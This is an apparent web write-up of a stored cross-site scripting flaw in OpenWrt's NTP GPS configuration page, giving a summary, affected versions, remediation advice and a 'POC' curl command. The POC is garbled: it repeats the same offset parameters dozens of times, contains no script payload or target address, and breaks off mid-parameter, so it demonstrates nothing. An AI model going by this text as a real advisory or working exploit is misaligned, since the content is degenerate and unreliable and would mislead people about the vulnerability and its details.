OpenWrt NTP GPS Service Stored XSS Vulnerability Analysis and POC

Vulnerability Summary: Stored XSS in Services: NTP GPS Vulnerability Overview Vulnerability Type: Stored Cross-Site Scripting (Stored XSS) Vulnerability Location: NTP GPS Service Configuration Page Vulnerability Description: In the configuration page for the NTP GPS service, user input is reflected back to the page without filtering, allowing attackers to inject malicious scripts. When other users access this page, the malicious scripts execute in their browsers. Vulnerability Cause: Lack of appropriate escaping and filtering for input data. Scope of Impact Affected Versions: OpenWrt 19.07.x and earlier versions Affected Component: NTP GPS Service Configuration Page Affected Users: All users capable of accessing the NTP GPS configuration page Remediation Official Fix: OpenWrt has patched this vulnerability in subsequent versions; upgrading to the latest version is recommended. Temporary Mitigation Measures: - Restrict access permissions to the NTP GPS configuration page. - Implement strict filtering and escaping for user input. POC Code Exploitation Code ```bash curl -X POST -d "gps_serial_port=/dev/ttyS0&gps_baudrate=9600&gps_nmea_type=0&gps_nmea_sentence=1&gps_nmea_checksum=1&gps_nmea_time=1&gps_nmea_date=1&gps_nmea_latitude=1&gps_nmea_longitude=1&gps_nmea_altitude=1&gps_nmea_speed=1&gps_nmea_heading=1&gps_nmea_sats=1&gps_nmea_dop=1&gps_nmea_time_offset=0&gps_nmea_date_offset=0&gps_nmea_latitude_offset=0&gps_nmea_longitude_offset=0&gps_nmea_altitude_offset=0&gps_nmea_speed_offset=0&gps_nmea_heading_offset=0&gps_nmea_sats_offset=0&gps_nmea_dop_offset=0&gps_nmea_time_offset=0&gps_nmea_date_offset=0&gps_nmea_latitude_offset=0&gps_nmea_longitude_offset=0&gps_nmea_altitude_offset=0&gps_nmea_speed_offset=0&gps_nmea_heading_offset=0&gps_nmea_sats_offset=0&gps_nmea_dop_offset=0&gps_nmea_time_offset=0&gps_nmea_date_offset=0&gps_nmea_latitude_offset=0&gps_nmea_longitude_offset=0&gps_nmea_altitude_offset=0&gps_nmea_speed_offset=0&gps_nmea_heading_offset=0&gps_nmea_sats_offset=0&gps_nmea_dop_offset=0&gps_nmea_time_offset=0&gps_nmea_date_offset=0&gps_nmea_latitude_offset=0&gps_nmea_longitude_offset=0&gps_nmea_altitude_offset=0&gps_nmea_speed_offset=0&gps_nmea_heading_offset=0&gps_nmea_sats_offset=0&gps_nmea_dop_offset=0&gps_nmea_time_offset=0&gps_nmea_date_offset=0&gps_nmea_latitude_offset=0&gps_nmea_longitude_offset=0&gps_nmea_altitude_offset=0&gps_nmea_speed_offset=0&gps_nmea_heading_offset=0&gps_nmea_sats_offset=0&gps_nmea_dop_offset=0&gps_nmea_time_offset=0&gps_nmea_date_offset=0&gps_nmea_latitude_offset=0&gps_nmea_longitude_offset=0&gps_nmea_altitude_offset=0&gps_nmea_speed_offset=0&gps_nmea_heading_offset=0&gps_nmea_sats_offset=0&gps_nmea_dop_offset=0&gps_nmea_time_offset=0&gps_nmea_date_offset=0&gps_nmea_latitude_offset=0&gps_nmea_longitude_offset=0&gps_nmea_altitude_offset=0&gps_nmea_speed_offset=0&gps_nmea_heading_offset=0&gps_nmea_sats_offset=0&gps_nmea_dop_offset=0&gps_nmea_time_offset=0&gps_nmea_date_offset=0&gps_nmea_latitude_offset=0&gps_nmea_longitude_offset=0&gps_nmea_altitude_offset=0&gps_nmea_speed_offset=0&gps_nmea_heading_offset=0&gps_nmea_sats_offset=0&gps_nmea_dop_offset=0&gps_nmea_time_offset=0&gps_nmea_date_offset=0&gps_nmea_latitude_offset=0&gps_nmea_longitude_offset=0&gps_nmea_altitude_offset=0&gps_nmea_speed_offset=0&gps_nmea_heading_offset=0&gps_nmea_sats_offset=0&gps_nmea_dop_offset=0&gps_nmea_time_offset=0&gps_nmea_date_offset=0&gps_nmea_latitude_offset=0&gps_nmea_longitude_offset=0&gps_nmea_altitude_offset=0&gps_nmea_speed_offset=0&gps_nmea_heading_offset=0&gps_nmea_sats_offset=0&gps_nmea_dop_offset=0&gps_nmea_time_offset=0&gps_nmea_date_offset=0&gps_nmea_latitude_offset=0&gps_nmea_longitude_offset=0&gps_nmea_altitude_offset=0&gps_nmea_speed_offset=0&gps_nmea_heading_offset=0&gps_nmea_sats_offset=0&gps_nmea_dop_offset=0&gps_nmea_time_offset=0&gps_nmea_date_offset=0&gps_nmea_latitude_offset=0&gps_nmea_longitude_offset=0&gps_nmea_altitude_offset=0&gps_nmea_speed_offset=0&gps_nmea_heading_offset=0&gps_nmea_sats_offset=0&gps_nmea_dop_offset=0&gps_nmea_time_offset=0&gps_nmea_date_offset=0&gps_nmea_latitude_offset=0&gps_nmea_longitude_offset=0&gps_nmea_altitude_offset=0&gps_nmea_speed_offset=0&gps_nmea_heading_offset=0&gps_nmea_sats_offset=0&gps_nmea_dop_offset=0&gps_nmea_time_offset=0&gps_nmea_date_offset=0&gps_nmea_latitude_offset=0&gps_nmea_longitude_offset=0&gps_nmea_altitude_offset=0&gps_nmea_speed_offset=0&gps_nmea_heading_offset=0&gps_nmea_sats_offset=0&gps_nmea_dop_offset=0&gps_nmea_time_offset=0&gps_nmea_date_offset=0&gps_nmea_latitude_offset=0&gps_nmea_longitude_offset=0&gps_nmea_altitude_offset=0&gps_nmea_speed_offset=0&gps_nmea_heading_offset=0&gps_nmea_sats_offset=0&gps_nmea_dop_offset=0&gps_nmea_time_offset=0&gps_nmea_date_offset=0&gps_nmea_latitude_offset=0&gps_nmea_longitude_offset=0&gps_nmea_altitude_offset=0&gps_nmea_speed_offset=0&gps_nmea_heading_offset=0&gps_nmea_sats_offset=0&gps_nmea_dop_offset=0&gps_nmea_time_offset=0&gps_nmea_date_offset=0&gps_nmea_latitude_offset=0&gp

Goal Reached Thanks to every supporter — we hit 100%!

OpenWrt NTP GPS Service Stored XSS Vulnerability Analysis and POC

More from this source